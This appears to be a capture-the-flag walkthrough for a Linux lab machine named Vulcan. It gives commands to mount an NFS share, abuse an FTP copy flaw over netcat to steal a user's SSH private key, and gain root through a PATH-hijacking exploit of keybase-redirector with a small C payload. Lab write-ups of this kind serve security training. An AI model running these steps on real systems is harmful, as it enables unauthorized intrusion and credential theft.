Vulcan (.53)	
Operating System	Linux
Points	20
Similar Machine (User)	TryHackMe's Kenobi
Similar Machine (Root)	

Exploit in Getting User

1. Port 20048 (mountd) is open so run ***showmount -e 192.168.XX.53***
2. Create a folder in your machine and run - ***mount -t nfs 192.168.XX.53:/ your_folder/ -no lock***
3. cd _0_tyken
4. Read notes.txt and you'll learn that the user tyken created an SSH key so you have to get it
5. FTP service is vulnerable to https://www.exploit-db.com/exploits/36803 (Unauth RCE)
6. ***nc 192.168.XX.53 21*** then ***cpfr /home/tyken/.ssh/id_rsa*** then ***cpto /var/tmp/id_rsa***
7. Connect to SSH - ***ssh -i id_rsa tyken@192.168.XX.53***
8. User shell!

Privilege Escalation to Root

1. Target machine is running a keybase-redirector and is vulnerable to https://www.exploit-db.com/exploits/46044
2. Create a fusermount.c

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv)
{
  setreuid(0,0);
  system("/usr/bin/touch /w00t");
  return(0);
}
```

3. Compile it - ***gcc -Wall fusermount.c -o fusermount*** and upload it to target machine
4. Prepend the PATH env variable with a dot and execute keybase-redirector which in turn will execute the malicious fusermount binary as root. - ***env PATH=.:$PATH /usr/bin/keybase-redirector /keybase***
5. Enter the control-c sequence to kill the application and run the ./w00t binary.
6. Root shell!